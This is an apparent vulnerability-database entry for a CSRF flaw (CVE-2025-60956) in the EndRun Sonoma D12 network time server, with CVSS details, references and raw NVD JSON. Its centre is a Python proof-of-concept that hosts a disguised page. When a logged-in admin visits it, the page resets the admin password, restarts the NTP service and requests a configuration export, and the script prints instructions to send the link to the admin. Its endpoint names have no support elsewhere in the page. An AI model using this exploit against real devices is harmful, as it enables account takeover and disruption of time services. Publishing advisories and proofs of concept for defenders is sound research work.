CVE-2025-60956

Description

Cross Site Request Forgery (CSRF) vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0071-000 Ver 4.00 allows attackers to execute arbitrary code, cause a denial of service, gain escalated privileges, and gain sensitive information.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:endruntechnologies:sonoma_d12_firmware:6010-0071-000:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:endruntechnologies:sonoma_d12:4.00:*:*:*:*:*:*:* - NOT VULNERABLE

EndRun Sonoma D12 Network Time Server F/W 6010-0071-000 Ver 4.00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-60956 - EndRun Sonoma D12 CSRF PoC
# Author: Security Research
# Description: Demonstrates CSRF attack against Sonoma D12 NTP Server
# Target Firmware: F/W 6010-0071-000 Ver 4.00

import http.server
import socketserver
import urllib.parse

# Target Sonoma D12 device management interface
TARGET_HOST = "http://192.168.1.100"  # Replace with actual target IP
TARGET_PORT = 80

# Malicious HTML page that performs CSRF attack
CSRF_HTML = """
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait while content loads...</h1>

    <!-- CSRF Attack Vector 1: Change admin password via hidden form -->
    <form id="csrf_form" action="%s/cgi-bin/config_user.cgi" method="POST">
        <input type="hidden" name="username" value="admin" />
        <input type="hidden" name="password" value="pwned123" />
        <input type="hidden" name="action" value="modify" />
    </form>

    <!-- CSRF Attack Vector 2: Trigger NTP service restart (DoS) -->
    <img src="%s/cgi-bin/restart_service.cgi?service=ntpd" style="display:none" />

    <!-- CSRF Attack Vector 3: Export sensitive configuration -->
    <img src="%s/cgi-bin/export_config.cgi?type=all" style="display:none" />

    <script>
        // Auto-submit the form when page loads (requires admin session)
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>
""" % (TARGET_HOST, TARGET_HOST, TARGET_HOST)

class CSRFHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(CSRF_HTML.encode())

if __name__ == "__main__":
    PORT = 8080
    with socketserver.TCPServer(("", PORT), CSRFHandler) as httpd:
        print(f"[*] CSRF server running on port {PORT}")
        print(f"[*] Send this URL to the admin: http://attacker-server:{PORT}")
        print(f"[*] When admin (logged into {TARGET_HOST}) visits, attack executes")
        httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60956
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60956
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60956/
[4] VulDB https://vuldb.com/cve/CVE-2025-60956
[5] http://endrun.com
[6] http://sonoma.com
[7] https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60956", "sourceIdentifier": "[email protected]", "published": "2025-10-06T17:16:06.373", "lastModified": "2025-10-10T16:36:22.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Request Forgery (CSRF) vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0071-000 Ver 4.00 allows attackers to execute arbitrary code, cause a denial of service, gain escalated privileges, and gain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:endruntechnologies:sonoma_d12_firmware:6010-0071-000:*:*:*:*:*:*:*", "matchCriteriaId": "6F239BEA-C83D-46D5-A558-478D6F01A27A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:endruntechnologies:sonoma_d12:4.00:*:*:*:*:*:*:*", "matchCriteriaId": "2D229C97-27FA-4DC6-9EB9-7757C6638143"}]}]}], "references": [{"url": "http://endrun.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://sonoma.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}